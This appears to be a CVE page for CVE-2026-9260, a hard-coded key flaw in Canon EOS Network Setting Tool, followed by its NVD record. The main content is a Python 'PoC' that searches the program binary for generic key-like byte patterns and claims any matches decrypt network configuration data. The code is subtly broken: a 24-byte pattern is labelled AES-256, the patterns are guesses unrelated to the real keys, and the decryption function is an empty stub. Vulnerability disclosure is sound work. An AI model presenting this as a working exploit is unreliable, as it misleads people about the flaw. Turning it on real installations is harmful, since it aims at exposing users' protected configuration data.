CVE-2026-9260

# CVE-2026-9260 PoC - Hard-coded Key Extraction from Canon EOS Network Setting Tool # This PoC demonstrates extracting hard-coded cryptographic keys from the application import os import sys import struct def extract_hardcoded_keys(binary_path): """ Extract potential hard-coded cryptographic keys from Canon EOS Network Setting Tool binary """ print(f"[*] Analyzing: {binary_path}") # Common cryptographic key patterns to search for key_patterns = [ # AES keys (128-bit = 16 bytes, 256-bit = 32 bytes) (b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f', 'AES-128 Default Key'), (b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17', 'AES-256 Pattern'), # DES keys (b'\x00\x00\x00\x00\x00\x00\x00\x00', 'DES Zero Key'), # Common weak keys (b'password123456', 'Weak Password Key'), ] found_keys = [] try: with open(binary_path, 'rb') as f: data = f.read() # Search for common hardcoded key strings for pattern, description in key_patterns: offset = data.find(pattern) if offset != -1: print(f"[!] Found potential hard-coded key: {description}") print(f" Offset: 0x{offset:x}") print(f" Key bytes: {pattern.hex()}") found_keys.append({ 'description': description, 'offset': hex(offset), 'key': pattern.hex() }) # Search for string patterns commonly used in Canon applications keywords = [b'Canon', b'Encryption', b'Key', b'Network', b'EOS'] for keyword in keywords: offsets = [] start = 0 while True: pos = data.find(keyword, start) if pos == -1: break offsets.append(pos) start = pos + 1 if offsets: print(f"[*] Found '{keyword.decode()}' at {len(offsets)} locations") return found_keys except FileNotFoundError: print(f"[-] Error: File not found: {binary_path}") return [] except Exception as e: print(f"[-] Error: {str(e)}") return [] def decrypt_config(config_file, extracted_key): """ Decrypt Canon EOS Network Setting Tool configuration using extracted key """ print(f"[*] Attempting to decrypt configuration: {config_file}") print(f"[*] Using extracted key: {extracted_key}") print("[!] Note: Actual decryption requires knowledge of the encryption algorithm") # Implementation depends on specific encryption algorithm used if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python poc.py <path_to_EOSNetworkSettingTool.exe>") print("Example: python poc.py ./CanonEOSNetworkSettingTool.exe") sys.exit(1) binary_path = sys.argv[1] keys = extract_hardcoded_keys(binary_path) if keys: print(f"\n[+] Found {len(keys)} potential hard-coded keys") print("[+] These keys can be used to decrypt sensitive network configuration data") else: print("[-] No obvious hard-coded keys found. Manual analysis may be required.")

{"cve": {"id": "CVE-2026-9260", "sourceIdentifier": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "published": "2026-06-16T00:16:35.757", "lastModified": "2026-06-16T14:53:25.910", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of hard-coded cryptographic keys in Canon EOS Network Setting Tool Version 1.5.0 or earlier"}], "metrics": {"cvssMetricV40": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://canon.jp/support/support-info/260615vulnerability-response", "source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd"}, {"url": "https://psirt.canon/advisory-information/cp2026-005/", "source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd"}, {"url": "https://www.canon-europe.com/support/product-security/", "source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd"}, {"url": "https://www.usa.canon.com/about-us/to-our-customers/cpa2026-005-vulnerability-remediation-for-eos-network-setting-tool", "source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd"}]}}